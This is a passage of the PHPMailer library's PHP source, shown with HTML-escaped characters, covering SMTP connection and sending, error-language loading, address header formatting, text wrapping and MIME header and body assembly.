            $this-&gt;setError($this-&gt;lang(&#039;from_failed&#039;) . $smtp_from . &#039; : &#039; . implode(&#039;,&#039;, $this-&gt;smtp-&gt;getError()));
            throw new phpmailerException($this-&gt;ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this-&gt;to, $this-&gt;cc, $this-&gt;bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this-&gt;smtp-&gt;recipient($to[0])) {
                    $error = $this-&gt;smtp-&gt;getError();
                    $bad_rcpt[] = array(&#039;to&#039; =&gt; $to[0], &#039;error&#039; =&gt; $error[&#039;detail&#039;]);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this-&gt;doCallback($isSent, array($to[0]), array(), array(), $this-&gt;Subject, $body, $this-&gt;From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this-&gt;all_recipients) &gt; count($bad_rcpt)) and !$this-&gt;smtp-&gt;data($header . $body)) {
            throw new phpmailerException($this-&gt;lang(&#039;data_not_accepted&#039;), self::STOP_CRITICAL);
        }
        if ($this-&gt;SMTPKeepAlive) {
            $this-&gt;smtp-&gt;reset();
        } else {
            $this-&gt;smtp-&gt;quit();
            $this-&gt;smtp-&gt;close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) &gt; 0) {
            $errstr = &#039;&#039;;
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad[&#039;to&#039;] . &#039;: &#039; . $bad[&#039;error&#039;];
            }
            throw new phpmailerException(
                $this-&gt;lang(&#039;recipients_failed&#039;) . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this-&gt;smtp)) {
            $this-&gt;smtp = $this-&gt;getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this-&gt;SMTPOptions;
        }

        // Already connected?
        if ($this-&gt;smtp-&gt;connected()) {
            return true;
        }

        $this-&gt;smtp-&gt;setTimeout($this-&gt;Timeout);
        $this-&gt;smtp-&gt;setDebugLevel($this-&gt;SMTPDebug);
        $this-&gt;smtp-&gt;setDebugOutput($this-&gt;Debugoutput);
        $this-&gt;smtp-&gt;setVerp($this-&gt;do_verp);
        $hosts = explode(&#039;;&#039;, $this-&gt;Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                &#039;/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/&#039;,
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this-&gt;edebug(&#039;Ignoring invalid host: &#039; . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it&#039;s not specified, the default value is used
            $prefix = &#039;&#039;;
            $secure = $this-&gt;SMTPSecure;
            $tls = ($this-&gt;SMTPSecure == &#039;tls&#039;);
            if (&#039;ssl&#039; == $hostinfo[2] or (&#039;&#039; == $hostinfo[2] and &#039;ssl&#039; == $this-&gt;SMTPSecure)) {
                $prefix = &#039;ssl://&#039;;
                $tls = false; // Can&#039;t have SSL and TLS at the same time
                $secure = &#039;ssl&#039;;
            } elseif ($hostinfo[2] == &#039;tls&#039;) {
                $tls = true;
                // tls doesn&#039;t use a prefix
                $secure = &#039;tls&#039;;
            }
            //Do we need the OpenSSL extension?
            $sslext = defined(&#039;OPENSSL_ALGO_SHA1&#039;);
            if (&#039;tls&#039; === $secure or &#039;ssl&#039; === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this-&gt;lang(&#039;extension_missing&#039;).&#039;openssl&#039;, self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this-&gt;Port;
            $tport = (integer)$hostinfo[4];
            if ($tport &gt; 0 and $tport &lt; 65536) {
                $port = $tport;
            }
            if ($this-&gt;smtp-&gt;connect($prefix . $host, $port, $this-&gt;Timeout, $options)) {
                try {
                    if ($this-&gt;Helo) {
                        $hello = $this-&gt;Helo;
                    } else {
                        $hello = $this-&gt;serverHostname();
                    }
                    $this-&gt;smtp-&gt;hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it&#039;s not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this-&gt;SMTPAutoTLS and $sslext and $secure != &#039;ssl&#039; and $this-&gt;smtp-&gt;getServerExt(&#039;STARTTLS&#039;)) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this-&gt;smtp-&gt;startTLS()) {
                            throw new phpmailerException($this-&gt;lang(&#039;connect_host&#039;));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this-&gt;smtp-&gt;hello($hello);
                    }
                    if ($this-&gt;SMTPAuth) {
                        if (!$this-&gt;smtp-&gt;authenticate(
                            $this-&gt;Username,
                            $this-&gt;Password,
                            $this-&gt;AuthType,
                            $this-&gt;Realm,
                            $this-&gt;Workstation
                        )
                        ) {
                            throw new phpmailerException($this-&gt;lang(&#039;authenticate&#039;));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this-&gt;edebug($exc-&gt;getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this-&gt;smtp-&gt;quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this-&gt;smtp-&gt;close();
        // As we&#039;ve caught all exceptions, just report whatever the last one was
        if ($this-&gt;exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this-&gt;smtp, &#039;SMTP&#039;)) {
            if ($this-&gt;smtp-&gt;connected()) {
                $this-&gt;smtp-&gt;quit();
                $this-&gt;smtp-&gt;close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is &quot;fr&quot;)
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = &#039;en&#039;, $lang_path = &#039;&#039;)
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            &#039;br&#039; =&gt; &#039;pt_br&#039;,
            &#039;cz&#039; =&gt; &#039;cs&#039;,
            &#039;dk&#039; =&gt; &#039;da&#039;,
            &#039;no&#039; =&gt; &#039;nb&#039;,
            &#039;se&#039; =&gt; &#039;sv&#039;,
            &#039;sr&#039; =&gt; &#039;rs&#039;
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            &#039;authenticate&#039; =&gt; &#039;SMTP Error: Could not authenticate.&#039;,
            &#039;connect_host&#039; =&gt; &#039;SMTP Error: Could not connect to SMTP host.&#039;,
            &#039;data_not_accepted&#039; =&gt; &#039;SMTP Error: data not accepted.&#039;,
            &#039;empty_message&#039; =&gt; &#039;Message body empty&#039;,
            &#039;encoding&#039; =&gt; &#039;Unknown encoding: &#039;,
            &#039;execute&#039; =&gt; &#039;Could not execute: &#039;,
            &#039;file_access&#039; =&gt; &#039;Could not access file: &#039;,
            &#039;file_open&#039; =&gt; &#039;File Error: Could not open file: &#039;,
            &#039;from_failed&#039; =&gt; &#039;The following From address failed: &#039;,
            &#039;instantiate&#039; =&gt; &#039;Could not instantiate mail function.&#039;,
            &#039;invalid_address&#039; =&gt; &#039;Invalid address: &#039;,
            &#039;mailer_not_supported&#039; =&gt; &#039; mailer is not supported.&#039;,
            &#039;provide_address&#039; =&gt; &#039;You must provide at least one recipient email address.&#039;,
            &#039;recipients_failed&#039; =&gt; &#039;SMTP Error: The following recipients failed: &#039;,
            &#039;signing&#039; =&gt; &#039;Signing Error: &#039;,
            &#039;smtp_connect_failed&#039; =&gt; &#039;SMTP connect() failed.&#039;,
            &#039;smtp_error&#039; =&gt; &#039;SMTP server error: &#039;,
            &#039;variable_set&#039; =&gt; &#039;Cannot set or reset variable: &#039;,
            &#039;extension_missing&#039; =&gt; &#039;Extension missing: &#039;
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . &#039;language&#039;. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match(&#039;/^[a-z]{2}(?:_[a-zA-Z]{2})?$/&#039;, $langcode)) {
            $langcode = &#039;en&#039;;
        }
        $foundlang = true;
        $lang_file = $lang_path . &#039;phpmailer.lang-&#039; . $langcode . &#039;.php&#039;;
        // There is no English translation file
        if ($langcode != &#039;en&#039;) {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we&#039;ll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this-&gt;language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this-&gt;language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array(&#039;joe@example.com&#039;, &#039;Joe User&#039;), array(&#039;zoe@example.com&#039;, &#039;Zoe User&#039;))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this-&gt;addrFormat($address);
        }
        return $type . &#039;: &#039; . implode(&#039;, &#039;, $addresses) . $this-&gt;LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array(&#039;joe@example.com&#039;, &#039;Joe User&#039;)
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this-&gt;secureHeader($addr[0]);
        } else {
            return $this-&gt;encodeHeader($this-&gt;secureHeader($addr[1]), &#039;phrase&#039;) . &#039; &lt;&#039; . $this-&gt;secureHeader(
                $addr[0]
            ) . &#039;&gt;&#039;;
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(&#039; =%s&#039;, $this-&gt;LE);
        } else {
            $soft_break = $this-&gt;LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don&#039;t
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this-&gt;CharSet) == &#039;utf-8&#039;);
        $lelen = strlen($this-&gt;LE);
        $crlflen = strlen(self::CRLF);

        $message = $this-&gt;fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this-&gt;LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this-&gt;LE, $message);
        //Message will be rebuilt in here
        $message = &#039;&#039;;
        foreach ($lines as $line) {
            $words = explode(&#039; &#039;, $line);
            $buf = &#039;&#039;;
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) &gt; $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left &gt; 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this-&gt;utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == &#039;=&#039;) {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == &#039;=&#039;) {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= &#039; &#039; . $part;
                            $message .= $buf . sprintf(&#039;=%s&#039;, self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = &#039;&#039;;
                    }
                    while (strlen($word) &gt; 0) {
                        if ($length &lt;= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this-&gt;utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == &#039;=&#039;) {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == &#039;=&#039;) {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) &gt; 0) {
                            $message .= $part . sprintf(&#039;=%s&#039;, self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= &#039; &#039;;
                    }
                    $buf .= $word;

                    if (strlen($buf) &gt; $length and $buf_o != &#039;&#039;) {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, &#039;=&#039;);
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the &#039;=&#039;)
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec &lt; 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos &gt; 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec &gt;= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec &lt; 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don&#039;t need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this-&gt;WordWrap &lt; 1) {
            return;
        }

        switch ($this-&gt;message_type) {
            case &#039;alt&#039;:
            case &#039;alt_inline&#039;:
            case &#039;alt_attach&#039;:
            case &#039;alt_inline_attach&#039;:
                $this-&gt;AltBody = $this-&gt;wrapText($this-&gt;AltBody, $this-&gt;WordWrap);
                break;
            default:
                $this-&gt;Body = $this-&gt;wrapText($this-&gt;Body, $this-&gt;WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = &#039;&#039;;

        $result .= $this-&gt;headerLine(&#039;Date&#039;, $this-&gt;MessageDate == &#039;&#039; ? self::rfcDate() : $this-&gt;MessageDate);

        // To be created automatically by mail()
        if ($this-&gt;SingleTo) {
            if ($this-&gt;Mailer != &#039;mail&#039;) {
                foreach ($this-&gt;to as $toaddr) {
                    $this-&gt;SingleToArray[] = $this-&gt;addrFormat($toaddr);
                }
            }
        } else {
            if (count($this-&gt;to) &gt; 0) {
                if ($this-&gt;Mailer != &#039;mail&#039;) {
                    $result .= $this-&gt;addrAppend(&#039;To&#039;, $this-&gt;to);
                }
            } elseif (count($this-&gt;cc) == 0) {
                $result .= $this-&gt;headerLine(&#039;To&#039;, &#039;undisclosed-recipients:;&#039;);
            }
        }

        $result .= $this-&gt;addrAppend(&#039;From&#039;, array(array(trim($this-&gt;From), $this-&gt;FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this-&gt;cc) &gt; 0) {
            $result .= $this-&gt;addrAppend(&#039;Cc&#039;, $this-&gt;cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this-&gt;Mailer == &#039;sendmail&#039; or $this-&gt;Mailer == &#039;qmail&#039; or $this-&gt;Mailer == &#039;mail&#039;
            )
            and count($this-&gt;bcc) &gt; 0
        ) {
            $result .= $this-&gt;addrAppend(&#039;Bcc&#039;, $this-&gt;bcc);
        }

        if (count($this-&gt;ReplyTo) &gt; 0) {
            $result .= $this-&gt;addrAppend(&#039;Reply-To&#039;, $this-&gt;ReplyTo);
        }

        // mail() sets the subject itself
        if ($this-&gt;Mailer != &#039;mail&#039;) {
            $result .= $this-&gt;headerLine(&#039;Subject&#039;, $this-&gt;encodeHeader($this-&gt;secureHeader($this-&gt;Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if (&#039;&#039; != $this-&gt;MessageID and preg_match(&#039;/^&lt;.*@.*&gt;$/&#039;, $this-&gt;MessageID)) {
            $this-&gt;lastMessageID = $this-&gt;MessageID;
        } else {
            $this-&gt;lastMessageID = sprintf(&#039;&lt;%s@%s&gt;&#039;, $this-&gt;uniqueid, $this-&gt;serverHostname());
        }
        $result .= $this-&gt;headerLine(&#039;Message-ID&#039;, $this-&gt;lastMessageID);
        if (!is_null($this-&gt;Priority)) {
            $result .= $this-&gt;headerLine(&#039;X-Priority&#039;, $this-&gt;Priority);
        }
        if ($this-&gt;XMailer == &#039;&#039;) {
            $result .= $this-&gt;headerLine(
                &#039;X-Mailer&#039;,
                &#039;PHPMailer &#039; . $this-&gt;Version . &#039; (https://github.com/PHPMailer/PHPMailer)&#039;
            );
        } else {
            $myXmailer = trim($this-&gt;XMailer);
            if ($myXmailer) {
                $result .= $this-&gt;headerLine(&#039;X-Mailer&#039;, $myXmailer);
            }
        }

        if ($this-&gt;ConfirmReadingTo != &#039;&#039;) {
            $result .= $this-&gt;headerLine(&#039;Disposition-Notification-To&#039;, &#039;&lt;&#039; . $this-&gt;ConfirmReadingTo . &#039;&gt;&#039;);
        }

        // Add custom headers
        foreach ($this-&gt;CustomHeader as $header) {
            $result .= $this-&gt;headerLine(
                trim($header[0]),
                $this-&gt;encodeHeader(trim($header[1]))
            );
        }
        if (!$this-&gt;sign_key_file) {
            $result .= $this-&gt;headerLine(&#039;MIME-Version&#039;, &#039;1.0&#039;);
            $result .= $this-&gt;getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = &#039;&#039;;
        $ismultipart = true;
        switch ($this-&gt;message_type) {
            case &#039;inline&#039;:
                $result .= $this-&gt;headerLine(&#039;Content-Type&#039;, &#039;multipart/related;&#039;);
                $result .= $this-&gt;textLine(&quot;\tboundary=\&quot;&quot; . $this-&gt;boundary[1] . &#039;&quot;&#039;);
                break;
            case &#039;attach&#039;:
            case &#039;inline_attach&#039;:
            case &#039;alt_attach&#039;:
            case &#039;alt_inline_attach&#039;:
                $result .= $this-&gt;headerLine(&#039;Content-Type&#039;, &#039;multipart/mixed;&#039;);
                $result .= $this-&gt;textLine(&quot;\tboundary=\&quot;&quot; . $this-&gt;boundary[1] . &#039;&quot;&#039;);
                break;
            case &#039;alt&#039;:
            case &#039;alt_inline&#039;:
                $result .= $this-&gt;headerLine(&#039;Content-Type&#039;, &#039;multipart/alternative;&#039;);
                $result .= $this-&gt;textLine(&quot;\tboundary=\&quot;&quot; . $this-&gt;boundary[1] . &#039;&quot;&#039;);
                break;
            default:
                // Catches case &#039;plain&#039;: and case &#039;&#039;:
                $result .= $this-&gt;textLine(&#039;Content-Type: &#039; . $this-&gt;ContentType . &#039;; charset=&#039; . $this-&gt;CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this-&gt;Encoding != &#039;7bit&#039;) {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this-&gt;Encoding == &#039;8bit&#039;) {
                    $result .= $this-&gt;headerLine(&#039;Content-Transfer-Encoding&#039;, &#039;8bit&#039;);
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this-&gt;headerLine(&#039;Content-Transfer-Encoding&#039;, $this-&gt;Encoding);
            }
        }

        if ($this-&gt;Mailer != &#039;mail&#039;) {
            $result .= $this-&gt;LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this-&gt;MIMEHeader . $this-&gt;mailHeader, &quot;\n\r&quot;) . self::CRLF . self::CRLF . $this-&gt;MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = &#039;&#039;;
        //Create unique IDs and preset boundaries
        $this-&gt;uniqueid = $this-&gt;generateId();
        $this-&gt;boundary[1] = &#039;b1_&#039; . $this-&gt;uniqueid;
        $this-&gt;boundary[2] = &#039;b2_&#039; . $this-&gt;uniqueid;
        $this-&gt;boundary[3] = &#039;b3_&#039; . $this-&gt;uniqueid;

        if ($this-&gt;sign_key_file) {
            $body .= $this-&gt;getMailMIME() . $this-&gt;LE;
        }

        $this-&gt;setWordWrap();

        $bodyEncoding = $this-&gt;Encoding;
        $bodyCharSet = $this-&gt;CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == &#039;8bit&#039; and !$this-&gt;has8bitChars($this-&gt;Body)) {
            $bodyEncoding = &#039;7bit&#039;;
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = &#039;us-ascii&#039;;
        }
        //If lines are too long, and we&#039;re not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if (&#039;base64&#039; != $this-&gt;Encoding and self::hasLineLongerThanMax($this-&gt;Body)) {
            $bodyEncoding = &#039;quoted-printable&#039;;
        }

        $altBodyEncoding = $this-&gt;Encoding;
        $altBodyCharSet = $this-&gt;CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == &#039;8bit&#039; and !$this-&gt;has8bitChars($this-&gt;AltBody)) {
            $altBodyEncoding = &#039;7bit&#039;;
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = &#039;us-ascii&#039;;
        }
        //If lines are too long, and we&#039;re not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if (&#039;base64&#039; != $altBodyEncoding and self::hasLineLongerThanMax($this-&gt;AltBody)) {
            $altBodyEncoding = &#039;quoted-printable&#039;;
        }
        //Use this as a preamble in all multipart message types
        $mimepre = &quot;This is a multi-part message in MIME format.&quot; . $this-&gt;LE . $this-&gt;LE;
        switch ($this-&gt;message_type) {
            case &#039;inline&#039;:
                $body .= $mimepre;
                $body .= $this-&gt;getBoundary($this-&gt;boundary[1], $bodyCharSet, &#039;&#039;, $bodyEncoding);
                $body .= $this-&gt;encodeString($this-&gt;Body, $bodyEncoding);
                $body .= $this-&gt;LE . $this-&gt;LE;
                $body .= $this-&gt;attachAll(&#039;inline&#039;, $this-&gt;boundary[1]);
                break;
            case &#039;attach&#039;:
                $body .= $mimepre;
                $body .= $this-&gt;getBoundary($this-&gt;boundary[1], $bodyCharSet, &#039;&#039;, $bodyEncoding);
                $body .= $this-&gt;encodeString($this-&gt;Body, $bodyEncoding);
                $body .= $this-&gt;LE . $this-&gt;LE;
                $body .= $this-&gt;attachAll(&#039;attachment&#039;, $this-&gt;boundary[1]);
                break;
            case &#039;inline_attach&#039;:
                $body .= $mimepre;
                $body .= $this-&gt;textLine(&#039;--&#039; . $this-&gt;boundary[1]);
                $body .= $this-&gt;headerLine(&#039;Content-Type&#039;, &#039;multipart/related;&#039;);
                $body .= $this-&gt;textLine(&quot;\tboundary=\&quot;&quot; . $this-&gt;boundary[2] . &#039;&quot;&#039;);
                $body .= $this-&gt;LE;
                $body .= $this-&gt;getBoundary($this-&gt;boundary[2], $bodyCharSet, &#039;&#039;, $bodyEncoding);
                $body .= $this-&gt;encodeString($this-&gt;Body, $bodyEncoding);
                $body .= $this-&gt;LE . $this-&gt;LE;
                $body .= $this-&gt;attachAll(&#039;inline&#039;, $this-&gt;boundary[2]);
                $body .= $this-&gt;LE;
                $body .= $this-&gt;attachAll(&#039;attachment&#039;, $this-&gt;boundary[1]);
                break;
            case &#039;alt&#039;:
                $body .= $mimepre;
                $body .= $this-&gt;getBoundary($this-&gt;boundary[1], $altBodyCharSet, &#039;text/plain&#039;, $altBodyEncoding);
                $body .= $this-&gt;encodeString($this-&gt;AltBody, $altBodyEncoding);
                $body .= $this-&gt;LE . $this-&gt;LE;
                $body .= $this-&gt;getBoundary($this-&gt;boundary[1], $bodyCharSet, &#039;text/html&#039;, $bodyEncoding);
                $body .= $this-&gt;encodeString($this-&gt;Body, $bodyEncoding);
                $body .= $this-&gt;LE . $this-&gt;LE;
                if (!empty($this-&gt;Ical)) {
                    $body .= $this-&gt;getBoundary($this-&gt;boundary[1], &#039;&#039;, &#039;text/calendar; method=REQUEST&#039;, &#039;&#039;);
                    $body .= $this-&gt;encodeString($this-&gt;Ical, $this-&gt;Encoding);
                    $body .= $this-&gt;LE . $this-&gt;LE;
                }
                $body .= $this-&gt;endBoundary($this-&gt;boundary[1]);
                break;
            case &#039;alt_inline&#039;:
                $body .= $mimepre;
                $body .= $this-&gt;getBoundary($this-&gt;boundary[1], $altBodyCharSet, &#039;text/plain&#039;, $altBodyEncoding);
                $body .= $this-&gt;encodeString($this-&gt;AltBody, $altBodyEncoding);
                $body .= $this-&gt;LE . $this-&gt;LE;
                $body .= $this-&gt;textLine(&#039;--&#039; . $this-&gt;boundary[1]);
                $body .= $this-&gt;headerLine(&#039;Content-Type&#039;, &#039;multipart/related;&#039;);
                $body .= $this-&gt;textLine(&quot;\tboundary=\&quot;&quot; . $this-&gt;boundary[2] . &#039;&quot;&#039;);
                $body .= $this-&gt;LE;
                $body .= $this-&gt;getBoundary($this-&gt;boundary[2], $bodyCharSet, &#039;text/html&#039;, $bodyEncoding);
                $body .= $this-&gt;encodeString($this-&gt;Body, $bodyEncoding);
                $body .= $this-&gt;LE . $this-&gt;LE;
                $body .= $this-&gt;attachAll(&#039;inline&#039;, $this-&gt;boundary[2]);
                $body .= $this-&gt;LE;
                $body .= $this-&gt;endBoundary($this-&gt;boundary[1]);
                break;
            case &#039;alt_attach&#039;:
                $body .= $mimepre;
                $body .= $this-&gt;textLine(&#039;--&#039; . $this-&gt;boundary[1]);
                $body .= $this-&gt;headerLine(&#039;Content-Type&#039;, &#039;multipart/alternative;&#039;);
                $body .= $this-&gt;textLine(&quot;\tboundary=\&quot;&quot; . $this-&gt;boundary[2] . &#039;&quot;&#039;);
                $body .= $this-&gt;LE;
                $body .= $this-&gt;getBoundary($this-&gt;boundary[2], $altBodyCharSet, &#039;text/plain&#039;, $altBodyEncoding);
                $body .= $this-&gt;encodeString($this-&gt;AltBody, $altBodyEncoding);
                $body .= $this-&gt;LE . $this-&gt;LE;
                $body .= $this-&gt;getBoundary($this-&gt;boundary[2], $bodyCharSet, &#039;text/html&#039;, $bodyEncoding);
                $body .= $this-&gt;encodeString($this-&gt;Body, $bodyEncoding);
                $body .= $this-&gt;LE . $this-&gt;LE;
                $body .= $this-&gt;endBoundary($this-&gt;boundary[2]);
                $body .= $this-&gt;LE;
                $body .= $this-&gt;attachAll(&#039;attachment&#039;, $this-&gt;boundary[1]);
                break;
            case &#039;alt_inline_attach&#039;:
                $body .= $mimepre;
                $body .= $this-&gt;textLine(&#039;--&#039; . $this-&gt;boundary[1]);
                $body .= $this-&gt;headerLine(&#039;Content-Type&#039;, &#039;multipart/alternative;&#039;);
                $body .= $this-&gt;textLine(&quot;\tboundary=\&quot;&quot; . $this-&gt;boundary[2] . &#039;&quot;&#039;);
                $body .= $this-&gt;LE;
                $body .= $this-&gt;getBoundary($this-&gt;boundary[2], $altBodyCharSet, &#039;text/plain&#039;, $altBodyEncoding);
                $body .= $this-&gt;encodeString($this-&gt;AltBody, $altBodyEncoding);
                $body .= $this-&gt;LE . $this-&gt;LE;
                $body .= $this-&gt;textLine(&#039;--&#039; . $this-&gt;boundary[2]);
                $body .= $this-&gt;headerLine(&#039;Content-Type&#039;, &#039;multipart/related;&#039;);
                $body .= $this-&gt;textLine(&quot;\tboundary=\&quot;&quot; . $this-&gt;boundary[3] . &#039;&quot;&#039;);
                $body .= $this-&gt;LE;
                $body .= $this-&gt;getBoundary($this-&gt;boundary[3], $bodyCharSet, &#039;text/html&#039;, $bodyEncoding);
                $body .= $this-&gt;encodeString($this-&gt;Body, $bodyEncoding);
                $body .= $this-&gt;LE . $this-&gt;LE;
